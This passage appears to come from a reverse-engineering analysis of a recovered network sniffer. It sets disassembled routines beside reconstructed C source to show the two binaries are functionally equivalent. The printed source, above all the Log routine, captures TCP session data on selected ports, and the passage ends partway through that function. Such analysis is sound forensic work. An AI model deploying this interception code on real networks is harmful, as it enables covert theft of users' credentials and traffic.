80483b8:       8b 45 08                mov    0x8(%ebp),%eax
80483bb:       89 c0                   mov    %eax,%eax
80483bd:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80483c4:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80483c9:       8b 04 02                mov    (%edx,%eax,1),%eax
80483cc:       ff 70 04                pushl  0x4(%eax)
80483cf:       e8 0c fe ff ff          call   80481e0 <myinet_ntoa>
80483d4:       83 c4 0c                add    $0xc,%esp
80483d7:       89 c0                   mov    %eax,%eax
80483d9:       50                      push   %eax
80483da:       68 91 08 09 08          push   $0x8090891
80483df:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
80483e5:       e8 ba 23 00 00          call   804a7a4 <fprintf>
80483ea:       83 c4 10                add    $0x10,%esp
80483ed:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
80483f3:       6a 01                   push   $0x1
80483f5:       8b 45 08                mov    0x8(%ebp),%eax
80483f8:       89 c0                   mov    %eax,%eax
80483fa:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048401:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048406:       8b 04 02                mov    (%edx,%eax,1),%eax
8048409:       83 c0 10                add    $0x10,%eax
804840c:       83 ec 04                sub    $0x4,%esp
804840f:       50                      push   %eax
8048410:       e8 47 ac 00 00          call   805305c <strlen>
8048415:       83 c4 08                add    $0x8,%esp
8048418:       89 c0                   mov    %eax,%eax
```

```
804841a:       89 c0                    mov    %eax,%eax
804841c:       50                       push   %eax
804841d:       8b 45 08                 mov    0x8(%ebp),%eax
8048420:       89 c0                    mov    %eax,%eax
8048422:       8d 14 85 00 00 00 00     lea    0x0(,%eax,4),%edx
8048429:       b8 00 77 0a 08           mov    $0x80a7700,%eax
804842e:       8b 04 02                 mov    (%edx,%eax,1),%eax
8048431:       83 c0 10                 add    $0x10,%eax
8048434:       50                       push   %eax
8048435:       e8 36 27 00 00           call   804ab70 <_IO_fwrite>
804843a:       83 c4 10                 add    $0x10,%esp
804843d:       83 ec 0c                 sub    $0xc,%esp
8048440:       ff 35 b4 b5 0a 08        pushl  0x80ab5b4
8048446:       e8 05 25 00 00           call   804a950 <_IO_fflush>
804844b:       83 c4 10                 add    $0x10,%esp
804844e:       8b 45 08                 mov    0x8(%ebp),%eax
8048451:       89 c0                    mov    %eax,%eax
8048453:       8d 14 85 00 00 00 00     lea    0x0(,%eax,4),%edx
804845a:       b8 00 77 0a 08           mov    $0x80a7700,%eax
804845f:       8b 04 02                 mov    (%edx,%eax,1),%eax
8048462:       c6 80 c0 0f 00 00 03     movb   $0x3,0xfc0(%eax)
8048469:       b8 00 00 00 00           mov    $0x0,%eax
804846e:       e9 fa 01 00 00           jmp    804866d <flushstruct+0x3e5>
8048473:       90                       nop
8048474:       8b 45 08                 mov    0x8(%ebp),%eax
8048477:       89 c0                    mov    %eax,%eax
8048479:       8d 14 85 00 00 00 00     lea    0x0(,%eax,4),%edx
8048480:       b8 00 77 0a 08           mov    $0x80a7700,%eax
8048485:       8b 04 02                 mov    (%edx,%eax,1),%eax
8048488:       8b 58 0c                 mov    0xc(%eax),%ebx
804848b:       81 c3 58 1b 00 00        add    $0x1b58,%ebx
8048491:       83 ec 0c                 sub    $0xc,%esp
8048494:       6a 00                    push   $0x0
8048496:       e8 a5 b1 00 00           call   8053640 <time>
804849b:       83 c4 10                 add    $0x10,%esp
804849e:       89 c0                    mov    %eax,%eax
80484a0:       39 c3                    cmp    %eax,%ebx
80484a2:       72 0c                    jb     80484b0 <flushstruct+0x228>
80484a4:       80 7d fb 01              cmpb   $0x1,0xfffffffb(%ebp)
80484a8:       74 06                    je     80484b0 <flushstruct+0x228>
80484aa:       e9 b9 01 00 00           jmp    8048668 <flushstruct+0x3e0>
80484af:       90                       nop
80484b0:       8b 45 08                 mov    0x8(%ebp),%eax
80484b3:       89 c0                    mov    %eax,%eax
80484b5:       8d 14 85 00 00 00 00     lea    0x0(,%eax,4),%edx
80484bc:       b8 00 77 0a 08           mov    $0x80a7700,%eax
80484c1:       8b 04 02                 mov    (%edx,%eax,1),%eax
80484c4:       80 b8 c0 0f 00 00 03     cmpb   $0x3,0xfc0(%eax)
80484cb:       0f 84 59 01 00 00        je     804862a <flushstruct+0x3a2>
80484d1:       8b 45 08                 mov    0x8(%ebp),%eax
80484d4:       89 c0                    mov    %eax,%eax
80484d6:       8d 14 85 00 00 00 00     lea    0x0(,%eax,4),%edx
80484dd:       b8 00 77 0a 08           mov    $0x80a7700,%eax
80484e2:       8b 04 02                 mov    (%edx,%eax,1),%eax
80484e5:       0f b7 40 08              movzwl 0x8(%eax),%eax
80484e9:       83 ec 0c                 sub    $0xc,%esp
80484ec:       50                       push   %eax
```

```
80484ed:       e8 2e b8 00 00          call   8053d20 <htons>
80484f2:       83 c4 10                add    $0x10,%esp
80484f5:       89 c0                   mov    %eax,%eax
80484f7:       89 c0                   mov    %eax,%eax
80484f9:       0f b7 c0                movzwl %ax,%eax
80484fc:       50                      push   %eax
80484fd:       83 ec 08                sub    $0x8,%esp
8048500:       8b 45 08                mov    0x8(%ebp),%eax
8048503:       89 c0                   mov    %eax,%eax
8048505:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
804850c:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048511:       8b 04 02                mov    (%edx,%eax,1),%eax
8048514:       ff 30                   pushl  (%eax)
8048516:       e8 c5 fc ff ff          call   80481e0 <myinet_ntoa>
804851b:       83 c4 0c                add    $0xc,%esp
804851e:       89 c0                   mov    %eax,%eax
8048520:       50                      push   %eax
8048521:       68 80 08 09 08          push   $0x8090880
8048526:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
804852c:       e8 73 22 00 00          call   804a7a4 <fprintf>
8048531:       83 c4 10                add    $0x10,%esp
8048534:       8b 45 08                mov    0x8(%ebp),%eax
8048537:       89 c0                   mov    %eax,%eax
8048539:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048540:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048545:       8b 04 02                mov    (%edx,%eax,1),%eax
8048548:       0f b7 40 0a             movzwl 0xa(%eax),%eax
804854c:       83 ec 0c                sub    $0xc,%esp
804854f:       50                      push   %eax
8048550:       e8 cb b7 00 00          call   8053d20 <htons>
8048555:       83 c4 10                add    $0x10,%esp
8048558:       89 c0                   mov    %eax,%eax
804855a:       89 c0                   mov    %eax,%eax
804855c:       0f b7 c0                movzwl %ax,%eax
804855f:       50                      push   %eax
8048560:       83 ec 08                sub    $0x8,%esp
8048563:       8b 45 08                mov    0x8(%ebp),%eax
8048566:       89 c0                   mov    %eax,%eax
8048568:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
804856f:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048574:       8b 04 02                mov    (%edx,%eax,1),%eax
8048577:       ff 70 04                pushl  0x4(%eax)
804857a:       e8 61 fc ff ff          call   80481e0 <myinet_ntoa>
804857f:       83 c4 0c                add    $0xc,%esp
8048582:       89 c0                   mov    %eax,%eax
8048584:       50                      push   %eax
8048585:       68 91 08 09 08          push   $0x8090891
804858a:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
8048590:       e8 0f 22 00 00          call   804a7a4 <fprintf>
8048595:       83 c4 10                add    $0x10,%esp
8048598:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
804859e:       6a 01                   push   $0x1
80485a0:       8b 45 08                mov    0x8(%ebp),%eax
80485a3:       89 c0                   mov    %eax,%eax
80485a5:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80485ac:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80485b1:       8b 04 02                mov    (%edx,%eax,1),%eax
```

```
80485b4:       83 c0 10                add    $0x10,%eax
80485b7:       83 ec 04                sub    $0x4,%esp
80485ba:       50                      push   %eax
80485bb:       e8 9c aa 00 00          call   805305c <strlen>
80485c0:       83 c4 08                add    $0x8,%esp
80485c3:       89 c0                   mov    %eax,%eax
80485c5:       89 c0                   mov    %eax,%eax
80485c7:       50                      push   %eax
80485c8:       8b 45 08                mov    0x8(%ebp),%eax
80485cb:       89 c0                   mov    %eax,%eax
80485cd:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80485d4:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80485d9:       8b 04 02                mov    (%edx,%eax,1),%eax
80485dc:       83 c0 10                add    $0x10,%eax
80485df:       50                      push   %eax
80485e0:       e8 8b 25 00 00          call   804ab70 <_IO_fwrite>
80485e5:       83 c4 10                add    $0x10,%esp
80485e8:       83 ec 08                sub    $0x8,%esp
80485eb:       68 9d 08 09 08          push   $0x809089d
80485f0:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
80485f6:       e8 a9 21 00 00          call   804a7a4 <fprintf>
80485fb:       83 c4 10                add    $0x10,%esp
80485fe:       83 ec 0c                sub    $0xc,%esp
8048601:       ff 35 b4 b5 0a 08       pushl  0x80ab5b4
8048607:       e8 44 23 00 00          call   804a950 <_IO_fflush>
804860c:       83 c4 10                add    $0x10,%esp
804860f:       8b 45 08                mov    0x8(%ebp),%eax
8048612:       89 c0                   mov    %eax,%eax
8048614:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
804861b:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048620:       8b 04 02                mov    (%edx,%eax,1),%eax
8048623:       c6 80 c0 0f 00 00 03    movb   $0x3,0xfc0(%eax)
804862a:       83 ec 0c                sub    $0xc,%esp
804862d:       8b 45 08                mov    0x8(%ebp),%eax
8048630:       89 c0                   mov    %eax,%eax
8048632:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048639:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804863e:       ff 34 02                pushl  (%edx,%eax,1)
8048641:       e8 ce 9f 00 00          call   8052614 <__libc_free>
8048646:       83 c4 10                add    $0x10,%esp
8048649:       8b 45 08                mov    0x8(%ebp),%eax
804864c:       89 c0                   mov    %eax,%eax
804864e:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048655:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804865a:       c7 04 02 00 00 00 00    movl   $0x0,(%edx,%eax,1)
8048661:       b8 00 00 00 00          mov    $0x0,%eax
8048666:       eb 05                   jmp    804866d <flushstruct+0x3e5>
8048668:       b8 00 00 00 00          mov    $0x0,%eax
804866d:       8b 5d fc                mov    0xfffffffc(%ebp),%ebx
8048670:       c9                      leave
8048671:       c3                      ret
8048672:       89 f6                   mov    %esi,%esi
```

All of the differences are bolded above. The first differences we note between the two executables are the addresses for `theipz` (0x80a7700), `filez` (0x80ab5b4),

and the addresses of the strings that represent the formats for the fprintfs (which are in the range 0x8090880-0x809089d). The first two addresses differ between the two binaries by the same 0x6c0 as we noted previously and the format strings differ by 0x6e0 (1760 decimal). We further note that the addresses of the `time` and `htons` routines differ between the two by 0x10 and the addresses of the `strlen` and `free` routines differ by four. All the other jump and call target addresses are identical between the two versions. Since `dress` identified all of the calls as being the same library routines we see in our binary, we conclude that this routine is functionally equivalent between ours and the target binary.

The next routine we will examine is `dumpstruct`.

```
void
dumpstruct ()
{
  int i;
  for (i = 0; i < 4012; i++)
    if (theipz[i] != NULL)
      {
        printf ("DUMP STRUCT = NUMBER %i\n", i);
        printf ("*sip -> %s*\n", myinet_ntoa (theipz[i]->sip));
        printf ("*sport -> %i*\n", htons (theipz[i]->sport));
        printf ("*dip -> %s*\n", myinet_ntoa (theipz[i]->dip));
        printf ("*dport -> %i*\n", htons (theipz[i]->dport));
        printf ("*data -> %s\n", theipz[i]->data);
        printf ("*---------*\n");
      }
  printf ("\\*       The END          */\n");

}
```

Which gives us the following object code.

```
08048674 <dumpstruct>:
 8048674:       55                      push   %ebp
 8048675:       89 e5                   mov    %esp,%ebp
 8048677:       83 ec 08                sub    $0x8,%esp
 804867a:       90                      nop
 804867b:       c7 45 fc 00 00 00 00    movl   $0x0,0xfffffffc(%ebp)
 8048682:       89 f6                   mov    %esi,%esi
 8048684:       81 7d fc ab 0f 00 00    cmpl   $0xfab,0xfffffffc(%ebp)
 804868b:       7e 07                   jle    8048694 <dumpstruct+0x20>
 804868d:       e9 56 01 00 00          jmp    80487e8 <dumpstruct+0x174>
 8048692:       89 f6                   mov    %esi,%esi
 8048694:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 8048697:       89 c0                   mov    %eax,%eax
 8048699:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
 80486a0:       b8 00 77 0a 08          mov    $0x80a7700,%eax
 80486a5:       83 3c 02 00             cmpl   $0x0,(%edx,%eax,1)
 80486a9:       0f 84 2c 01 00 00       je     80487db <dumpstruct+0x167>
 80486af:       83 ec 08                sub    $0x8,%esp
 80486b2:       ff 75 fc                pushl  0xfffffffc(%ebp)
 80486b5:       68 a0 08 09 08          push   $0x80908a0
```

```
80486ba:       e8 01 21 00 00          call   804a7c0 <_IO_printf>
80486bf:       83 c4 10                add    $0x10,%esp
80486c2:       83 ec 08                sub    $0x8,%esp
80486c5:       83 ec 04                sub    $0x4,%esp
80486c8:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
80486cb:       89 c0                   mov    %eax,%eax
80486cd:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80486d4:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80486d9:       8b 04 02                mov    (%edx,%eax,1),%eax
80486dc:       ff 30                   pushl  (%eax)
80486de:       e8 fd fa ff ff          call   80481e0 <myinet_ntoa>
80486e3:       83 c4 08                add    $0x8,%esp
80486e6:       89 c0                   mov    %eax,%eax
80486e8:       50                      push   %eax
80486e9:       68 b9 08 09 08          push   $0x80908b9
80486ee:       e8 cd 20 00 00          call   804a7c0 <_IO_printf>
80486f3:       83 c4 10                add    $0x10,%esp
80486f6:       83 ec 08                sub    $0x8,%esp
80486f9:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
80486fc:       89 c0                   mov    %eax,%eax
80486fe:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048705:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804870a:       8b 04 02                mov    (%edx,%eax,1),%eax
804870d:       0f b7 40 08             movzwl 0x8(%eax),%eax
8048711:       83 ec 04                sub    $0x4,%esp
8048714:       50                      push   %eax
8048715:       e8 06 b6 00 00          call   8053d20 <htons>
804871a:       83 c4 08                add    $0x8,%esp
804871d:       89 c0                   mov    %eax,%eax
804871f:       89 c0                   mov    %eax,%eax
8048721:       0f b7 c0                movzwl %ax,%eax
8048724:       50                      push   %eax
8048725:       68 c6 08 09 08          push   $0x80908c6
804872a:       e8 91 20 00 00          call   804a7c0 <_IO_printf>
804872f:       83 c4 10                add    $0x10,%esp
8048732:       83 ec 08                sub    $0x8,%esp
8048735:       83 ec 04                sub    $0x4,%esp
8048738:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
804873b:       89 c0                   mov    %eax,%eax
804873d:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048744:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048749:       8b 04 02                mov    (%edx,%eax,1),%eax
804874c:       ff 70 04                pushl  0x4(%eax)
804874f:       e8 8c fa ff ff          call   80481e0 <myinet_ntoa>
8048754:       83 c4 08                add    $0x8,%esp
8048757:       89 c0                   mov    %eax,%eax
8048759:       50                      push   %eax
804875a:       68 d5 08 09 08          push   $0x80908d5
804875f:       e8 5c 20 00 00          call   804a7c0 <_IO_printf>
8048764:       83 c4 10                add    $0x10,%esp
8048767:       83 ec 08                sub    $0x8,%esp
804876a:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
804876d:       89 c0                   mov    %eax,%eax
804876f:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048776:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804877b:       8b 04 02                mov    (%edx,%eax,1),%eax
804877e:       0f b7 40 0a             movzwl 0xa(%eax),%eax
```

```
 8048782:       83 ec 04                sub    $0x4,%esp
 8048785:       50                      push   %eax
 8048786:       e8 95 b5 00 00          call   8053d20 <htons>
 804878b:       83 c4 08                add    $0x8,%esp
 804878e:       89 c0                   mov    %eax,%eax
 8048790:       89 c0                   mov    %eax,%eax
 8048792:       0f b7 c0                movzwl %ax,%eax
 8048795:       50                      push   %eax
 8048796:       68 e2 08 09 08          push   $0x80908e2
 804879b:       e8 20 20 00 00          call   804a7c0 <_IO_printf>
 80487a0:       83 c4 10                add    $0x10,%esp
 80487a3:       83 ec 08                sub    $0x8,%esp
 80487a6:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 80487a9:       89 c0                   mov    %eax,%eax
 80487ab:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
 80487b2:       b8 00 77 0a 08          mov    $0x80a7700,%eax
 80487b7:       8b 04 02                mov    (%edx,%eax,1),%eax
 80487ba:       83 c0 10                add    $0x10,%eax
 80487bd:       50                      push   %eax
 80487be:       68 f1 08 09 08          push   $0x80908f1
 80487c3:       e8 f8 1f 00 00          call   804a7c0 <_IO_printf>
 80487c8:       83 c4 10                add    $0x10,%esp
 80487cb:       83 ec 0c                sub    $0xc,%esp
 80487ce:       68 fe 08 09 08          push   $0x80908fe
 80487d3:       e8 e8 1f 00 00          call   804a7c0 <_IO_printf>
 80487d8:       83 c4 10                add    $0x10,%esp
 80487db:       8d 45 fc                lea    0xfffffffc(%ebp),%eax
 80487de:       ff 00                   incl   (%eax)
 80487e0:       e9 9f fe ff ff          jmp    8048684 <dumpstruct+0x10>
 80487e5:       8d 76 00                lea    0x0(%esi),%esi
 80487e8:       83 ec 0c                sub    $0xc,%esp
 80487eb:       68 20 09 09 08          push   $0x8090920
 80487f0:       e8 cb 1f 00 00          call   804a7c0 <_IO_printf>
 80487f5:       83 c4 10                add    $0x10,%esp
 80487f8:       c9                      leave
 80487f9:       c3                      ret
 80487fa:       89 f6                   mov    %esi,%esi
```

Here we see use of the same variable, `theipz`, as was used in the previous routine (0x80a7700), more calls to `htons`, and printf format strings (addresses ranging from 0x8090880-0x8090920).

The next routine for us to examine is `newstruct`.

```
int
newstruct (u_long sip, u_long dip, u_short sport, u_short dport)
{
  int i = -1;

 /*  Debug only   dumpstruct (); */

  for (i = 0; i < 4012; i++)
    if (theipz[i] != NULL)
      {
```

```
        if (sip == theipz[i]->sip)
          if (dip == theipz[i]->dip)
            if (sport == theipz[i]->sport)
              if (dport == theipz[i]->dport)
                return (i);
      }
  for (i = 0; i < 4012; i++)
    if (theipz[i] == NULL)
      {
        theipz[i] = calloc (1, sizeof (struct the_ip));
        theipz[i]->sip = sip;
        theipz[i]->dip = dip;
        theipz[i]->sport = sport;
        theipz[i]->dport = dport;
        theipz[i]->time = time (NULL);
        theipz[i]->size = 0;
        memset (theipz[i]->data, 0, 4012);
        return (i);
      }

  return (-1);
}
```

This routine gives us the following object code.

```
080487fc <newstruct>:
 80487fc:       55                      push   %ebp
 80487fd:       89 e5                   mov    %esp,%ebp
 80487ff:       83 ec 08                sub    $0x8,%esp
 8048802:       8b 45 10                mov    0x10(%ebp),%eax
 8048805:       8b 55 14                mov    0x14(%ebp),%edx
 8048808:       66 89 45 fe             mov    %ax,0xfffffffe(%ebp)
 804880c:       66 89 55 fc             mov    %dx,0xfffffffc(%ebp)
 8048810:       c7 45 f8 ff ff ff ff    movl   $0xffffffff,0xfffffff8(%ebp)
 8048817:       c7 45 f8 00 00 00 00    movl   $0x0,0xfffffff8(%ebp)
 804881e:       89 f6                   mov    %esi,%esi
 8048820:       81 7d f8 ab 0f 00 00    cmpl   $0xfab,0xfffffff8(%ebp)
 8048827:       7e 07                   jle    8048830 <newstruct+0x34>
 8048829:       e9 a2 00 00 00          jmp    80488d0 <newstruct+0xd4>
 804882e:       89 f6                   mov    %esi,%esi
 8048830:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
 8048833:       89 c0                   mov    %eax,%eax
 8048835:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
 804883c:       b8 00 77 0a 08          mov    $0x80a7700,%eax
 8048841:       83 3c 02 00             cmpl   $0x0,(%edx,%eax,1)
 8048845:       74 7d                   je     80488c4 <newstruct+0xc8>
 8048847:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
 804884a:       89 c0                   mov    %eax,%eax
 804884c:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
 8048853:       b8 00 77 0a 08          mov    $0x80a7700,%eax
 8048858:       8b 14 02                mov    (%edx,%eax,1),%edx
 804885b:       8b 45 08                mov    0x8(%ebp),%eax
 804885e:       3b 02                   cmp    (%edx),%eax
 8048860:       75 62                   jne    80488c4 <newstruct+0xc8>
 8048862:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
 8048865:       89 c0                   mov    %eax,%eax
```

```
8048867:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
804886e:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048873:       8b 14 02                mov    (%edx,%eax,1),%edx
8048876:       8b 45 0c                mov    0xc(%ebp),%eax
8048879:       3b 42 04                cmp    0x4(%edx),%eax
804887c:       75 46                   jne    80488c4 <newstruct+0xc8>
804887e:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
8048881:       89 c0                   mov    %eax,%eax
8048883:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
804888a:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804888f:       8b 14 02                mov    (%edx,%eax,1),%edx
8048892:       66 8b 45 fe             mov    0xfffffffe(%ebp),%ax
8048896:       66 3b 42 08             cmp    0x8(%edx),%ax
804889a:       75 28                   jne    80488c4 <newstruct+0xc8>
804889c:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
804889f:       89 c0                   mov    %eax,%eax
80488a1:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80488a8:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80488ad:       8b 14 02                mov    (%edx,%eax,1),%edx
80488b0:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
80488b3:       66 3b 42 0a             cmp    0xa(%edx),%ax
80488b7:       75 0b                   jne    80488c4 <newstruct+0xc8>
80488b9:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
80488bc:       89 c0                   mov    %eax,%eax
80488be:       e9 5a 01 00 00          jmp    8048a1d <newstruct+0x221>
80488c3:       90                      nop
80488c4:       8d 45 f8                lea    0xfffffff8(%ebp),%eax
80488c7:       ff 00                   incl   (%eax)
80488c9:       e9 52 ff ff ff          jmp    8048820 <newstruct+0x24>
80488ce:       89 f6                   mov    %esi,%esi
80488d0:       90                      nop
80488d1:       c7 45 f8 00 00 00 00    movl   $0x0,0xfffffff8(%ebp)
80488d8:       81 7d f8 ab 0f 00 00    cmpl   $0xfab,0xfffffff8(%ebp)
80488df:       7e 07                   jle    80488e8 <newstruct+0xec>
80488e1:       e9 32 01 00 00          jmp    8048a18 <newstruct+0x21c>
80488e6:       89 f6                   mov    %esi,%esi
80488e8:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
80488eb:       89 c0                   mov    %eax,%eax
80488ed:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80488f4:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80488f9:       83 3c 02 00             cmpl   $0x0,(%edx,%eax,1)
80488fd:       0f 85 09 01 00 00       jne    8048a0c <newstruct+0x210>
8048903:       83 ec 08                sub    $0x8,%esp
8048906:       68 c4 0f 00 00          push   $0xfc4
804890b:       6a 01                   push   $0x1
804890d:       e8 4e 81 00 00          call   8050a60 <__libc_calloc>
8048912:       83 c4 10                add    $0x10,%esp
8048915:       89 c0                   mov    %eax,%eax
8048917:       89 c1                   mov    %eax,%ecx
8048919:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
804891c:       89 c0                   mov    %eax,%eax
804891e:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048925:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804892a:       89 0c 02                mov    %ecx,(%edx,%eax,1)
804892d:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
8048930:       89 c0                   mov    %eax,%eax
8048932:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
```

```
8048939:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804893e:       8b 14 02                mov    (%edx,%eax,1),%edx
8048941:       8b 45 08                mov    0x8(%ebp),%eax
8048944:       89 02                   mov    %eax,(%edx)
8048946:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
8048949:       89 c0                   mov    %eax,%eax
804894b:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048952:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048957:       8b 14 02                mov    (%edx,%eax,1),%edx
804895a:       8b 45 0c                mov    0xc(%ebp),%eax
804895d:       89 42 04                mov    %eax,0x4(%edx)
8048960:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
8048963:       89 c0                   mov    %eax,%eax
8048965:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
804896c:       b8 00 77 0a 08          mov    $0x80a7700,%eax
8048971:       8b 14 02                mov    (%edx,%eax,1),%edx
8048974:       66 8b 45 fe             mov    0xfffffffe(%ebp),%ax
8048978:       66 89 42 08             mov    %ax,0x8(%edx)
804897c:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
804897f:       89 c0                   mov    %eax,%eax
8048981:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
8048988:       b8 00 77 0a 08          mov    $0x80a7700,%eax
804898d:       8b 14 02                mov    (%edx,%eax,1),%edx
8048990:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
8048993:       66 89 42 0a             mov    %ax,0xa(%edx)
8048997:       83 ec 0c                sub    $0xc,%esp
804899a:       6a 00                   push   $0x0
804899c:       e8 9f ac 00 00          call   8053640 <time>
80489a1:       83 c4 10                add    $0x10,%esp
80489a4:       89 c1                   mov    %eax,%ecx
80489a6:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
80489a9:       89 c0                   mov    %eax,%eax
80489ab:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80489b2:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80489b7:       8b 04 02                mov    (%edx,%eax,1),%eax
80489ba:       89 48 0c                mov    %ecx,0xc(%eax)
80489bd:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
80489c0:       89 c0                   mov    %eax,%eax
80489c2:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80489c9:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80489ce:       8b 04 02                mov    (%edx,%eax,1),%eax
80489d1:       c7 80 bc 0f 00 00 00    movl   $0x0,0xfbc(%eax)
80489d8:       00 00 00
80489db:       83 ec 04                sub    $0x4,%esp
80489de:       68 ac 0f 00 00          push   $0xfac
80489e3:       6a 00                   push   $0x0
80489e5:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
80489e8:       89 c0                   mov    %eax,%eax
80489ea:       8d 14 85 00 00 00 00    lea    0x0(,%eax,4),%edx
80489f1:       b8 00 77 0a 08          mov    $0x80a7700,%eax
80489f6:       8b 04 02                mov    (%edx,%eax,1),%eax
80489f9:       83 c0 10                add    $0x10,%eax
80489fc:       50                      push   %eax
80489fd:       e8 6a a7 00 00          call   805316c <memset>
8048a02:       83 c4 10                add    $0x10,%esp
8048a05:       8b 45 f8                mov    0xfffffff8(%ebp),%eax
8048a08:       89 c0                   mov    %eax,%eax
```

```
 8048a0a:       eb 11                   jmp    8048a1d <newstruct+0x221>
 8048a0c:       8d 45 f8                lea    0xfffffff8(%ebp),%eax
 8048a0f:       ff 00                   incl   (%eax)
 8048a11:       e9 c2 fe ff ff          jmp    80488d8 <newstruct+0xdc>
 8048a16:       89 f6                   mov    %esi,%esi
 8048a18:       b8 ff ff ff ff          mov    $0xffffffff,%eax
 8048a1d:       c9                      leave
 8048a1e:       c3                      ret
 8048a1f:       90                      nop
```

The only new things to note in this routine are the addresses of `calloc` (0x8050a60 which differs between the two versions by 4) and `memset` (0x805316c, which also differs between the two versions by 4).

The sixth of the seven routines we will examine is `Log`.

```
int
Log ()
{
  int i;
  char buffer[8012];
  LOG = 0;
  ip = (struct iphdr *) (buf + ETHHDRSIZE);
  tcp = (struct tcphdr *) (buf + IPHDRSIZE + ETHHDRSIZE);
  for (i = 0; i < sizeof (logname); i++)
    logname[i] = 0;
  for (i = 0; i < sizeof (tmp); i++)
    tmp[i] = 0;
  for (i = 0; i < sizeof (sip); i++)
    sip[i] = 0;
  for (i = 0; i < sizeof (dip); i++)
   dip[i] = 0;
  switch (ip->protocol)
    {
    case IPPROTO_TCP:
      if ((h.len - (ETHHDRSIZE + IPHDRSIZE)) < TCPHDRSIZE)
        break;
      for (i = 0; coolport[i] != 31337; i++)
        {
          if (coolport[i] == ntohs (tcp->th_sport) ||
              coolport[i] == ntohs (tcp->th_dport))
            LOG = 1;
        }
      if (LOG != 1)
        return (1);
      sport = ntohs (tcp->th_sport);
      dport = ntohs (tcp->th_dport);
      if ((i = newstruct (ip->saddr, ip->daddr, tcp->th_sport, tcp->th_dport))
== -1)
        return (0);
      data = (char *) (buf + IPHDRSIZE + TCPHDRSIZE + ETHHDRSIZE);
      len = (h.len) - (IPHDRSIZE + TCPHDRSIZE + ETHHDRSIZE);
      memset (buffer, 0, sizeof (buffer));
      goodstr (data, buffer, len);
```

```
      strncat (theipz[i]->data, buffer, (4010 - strlen (theipz[i]->data)));
      if ((tcp->th_flags & TH_RST) || (tcp->th_flags & TH_FIN))
        flushstruct (i, 1);
      else
